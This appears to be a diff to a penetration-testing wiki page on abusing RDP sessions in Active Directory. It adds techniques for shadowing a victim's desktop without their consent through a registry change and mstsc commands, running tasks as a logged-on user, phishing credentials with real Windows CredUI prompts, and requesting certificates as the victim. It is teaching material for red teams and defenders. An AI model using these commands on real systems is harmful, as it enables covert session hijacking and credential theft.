From flat networks to locked up domains with tiering models

src/windows-hardening/active-directory-methodology/rdp-sessions-abuse.md

@@ -72,7 +72,98 @@ beacon> cd \\tsclient\c\Users\<username>\AppData\Roaming\Microsoft\Windows\Start
 beacon> upload C:\Payloads\pivot.exe
 ```
 
-{{#include ../../banners/hacktricks-training.md}}
+## Shadow RDP
+
+If you are **local admin** on a host where the victim already has an **active RDP session**, you may be able to **view/control that desktop without stealing the password or dumping LSASS**.
+
+This depends on the **Remote Desktop Services shadowing** policy stored in:
+
+```text
+HKLM\Software\Policies\Microsoft\Windows NT\Terminal Services\Shadow
+```
+
+Interesting values:
+
+- `0`: Disabled
+- `1`: `EnableInputNotify` (control, user approval required)
+- `2`: `EnableInputNoNotify` (control, **no user approval**)
+- `3`: `EnableNoInputNotify` (view-only, user approval required)
+- `4`: `EnableNoInputNoNotify` (view-only, **no user approval**)
+
+```cmd
+:: Check the policy
+reg query "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow
+
+:: Enable interaction without consent
+reg add "HKLM\SOFTWARE\Policies\Microsoft\Windows NT\Terminal Services" /v Shadow /t REG_DWORD /d 2 /f
+
+:: Enumerate sessions and shadow the target one
+quser /server:<HOST>
+mstsc /v:<HOST> /shadow:<SESSION_ID> /control /noconsentprompt /prompt
+```
+
+This is especially useful when a privileged user connected over RDP left an unlocked desktop, KeePass session, MMC console, browser session, or admin shell open.
+
+## Scheduled Tasks As Logged-On User
+
+If you are **local admin** and the target user is **currently logged on**, Task Scheduler can start code **as that user without their password**.
+
+This turns the victim's existing logon session into an execution primitive:
+
+```cmd
+schtasks /create /S <HOST> /RU "<DOMAIN\\user>" /SC ONCE /ST 00:00 /TN "Updater" /TR "cmd.exe /c whoami > C:\\Windows\\Temp\\whoami.txt"
+schtasks /run /S <HOST> /TN "Updater"
+```
+
+Notes:
 
+- If the user is **not logged on**, Windows usually requires the password to create a task that runs as them.
+- If the user **is logged on**, the task can reuse the existing logon context.
+- This is a practical way to execute GUI actions or launch binaries inside the victim session without touching LSASS.
+
+## CredUI Prompt Abuse From the Victim Session
+
+Once you can execute **inside the victim's interactive desktop** (for example via **Shadow RDP** or **a scheduled task running as that user**), you can display a **real Windows credential prompt** using CredUI APIs and harvest credentials entered by the victim.
+
+Relevant APIs:
+
+- `CredUIPromptForWindowsCredentials`
+- `CredUnPackAuthenticationBuffer`
+
+Typical flow:
+
+1. Spawn a binary in the victim session.
+2. Display a domain-authentication prompt that matches the current domain branding.
+3. Unpack the returned auth buffer.
+4. Validate the provided credentials and optionally keep prompting until valid credentials are entered.
+
+This is useful for **on-host phishing** because the prompt is rendered by standard Windows APIs instead of a fake HTML form.
+
+## Requesting a PFX In the Victim Context
+
+The same **scheduled-task-as-user** primitive can be used to request a **certificate/PFX as the logged-on victim**. That certificate can later be used for **AD authentication** as that user, avoiding password theft entirely.
+
+High-level flow:
+
+1. Gain **local admin** on a host where the victim is logged on.
+2. Run enrollment/export logic as the victim using a **scheduled task**.
+3. Export the resulting **PFX**.
+4. Use the PFX for PKINIT / certificate-based AD authentication.
+
+See the AD CS pages for follow-up abuse:
+
+{{#ref}}
+ad-certificates/account-persistence.md
+{{#endref}}
+
+## References
+
+- [SensePost - From flat networks to locked up domains with tiering models](https://sensepost.com/blog/2026/from-flat-networks-to-locked-up-domains-with-tiering-models/)
+- [Microsoft - Remote Desktop shadow](https://learn.microsoft.com/windows/win32/termserv/remote-desktop-shadow)
+- [NetExec - Shadow RDP plugin PR #465](https://github.com/Pennyw0rth/NetExec/pull/465)
+- [NetExec - schtask_as module](https://github.com/Pennyw0rth/NetExec/blob/main/nxc/modules/schtask_as.py)
+- [NetExec - Request PFX via scheduled task PR #908](https://github.com/Pennyw0rth/NetExec/pull/908)
+
+{{#include ../../banners/hacktricks-training.md}}